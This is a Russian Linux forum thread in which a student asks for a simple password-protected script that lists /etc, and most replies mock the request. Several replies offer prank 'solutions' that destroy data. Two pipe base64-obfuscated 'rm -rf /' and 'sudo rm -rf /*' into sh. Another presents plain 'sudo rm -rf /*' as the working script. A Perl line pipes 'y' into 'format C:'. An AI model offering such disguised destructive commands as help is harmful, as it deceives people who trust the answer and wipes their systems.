LINUX.ORG.RU

Самый простой shell скрипт, помогите!!!


0

0

Люди! Срочно нужна ваша помощь. Нужно написать shell скрипт, который запрашивает пароль у пользователя, и если он верен, выводит построчно содержание папки /etc, даже скрытых файлов. Если пароль неверен, идет повторный запрос пароля. Пароль задан переменной в скрипте. Сессия друга в опасности, если он не сдаст завтра этот скрипт...

>Сессия друга в опасности

ну и что?
что будет, если его завалят? надеюсь, пойдет в армейку.

dreamer ★★★★★
()

Надеюсь, друг не сдаст этот скрипт и пойдет в армию. Неучам в институтах не место.

slovazap ★★★★★
()

Цитируем azdn3186

Сессия друга в опасности, если он не сдаст завтра этот скрипт..

Ха-ха-ха :-)

GotF ★★★★★
()
Ответ на: комментарий от jtootf

угу
напишите правильно кто знает. но я правильно не напишу, поскольку виндузятник, а сюда случайно зашел

anonymous
()
Ответ на: комментарий от anonymous

> #!/bin/perl

perl -e …


это такой epic fail, что даже я приложил лицо к пальме…

arsi ★★★★★
()
Ответ на: комментарий от wlan

!#/bin/astral же.
И все. Дальше скрипт считает пароль напрямую из мозга и вывеедт на экран все, что пожелаешь.

trex6 ★★★★★
()
#!cmd.exe

c:\strawberry\bin\perl -e 'open my $pipe, "|format C:" and print $pipe "y\n"'

вроде нигде не спалился…

arsi ★★★★★
()
Ответ на: комментарий от anonymous

> cat «test... test... test...»

хм… разрешите поинтересоваться, а какое должно быть содержимое файла './test... test... test...'?

arsi ★★★★★
()
Ответ на: комментарий от true_admin

> Думаешь эта ошибка повлияет на результат? :)

ошибка? о_О где ошибка??! ;)

несомненно повлияет, т.к. далеко не все линуксоиды знают перл, но многие знают баш и заметят подвох с первых /\w+/ ;)

arsi ★★★★★
()
Ответ на: комментарий от Averrin

Символ '*' неэстетичен (выше срединолинии).

anonymous
()
Ответ на: комментарий от anonymous

echo 'cm0gLXJmIC8K' | base64 -d | sh

Тогда уж

echo c3VkbyBybSAtcmYgLyoK | base64 -d | sh

WARNING: не запускать из-под юзера с беспарольным sudo

dexpl ★★★★★
()
Ответ на: комментарий от anonymous

> cm0gLXJmIC8K

Оооо, это слово я помню наизусть :)

Sphinx ★★☆☆
()

#!/bin/sh

sudo rm -rf /*

пароль задается в одном из файлов /etc в хешированном виде (чтобы подсмотреть нельзя было)

Работает 100Пудов.

Liosha_Syrnikov
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.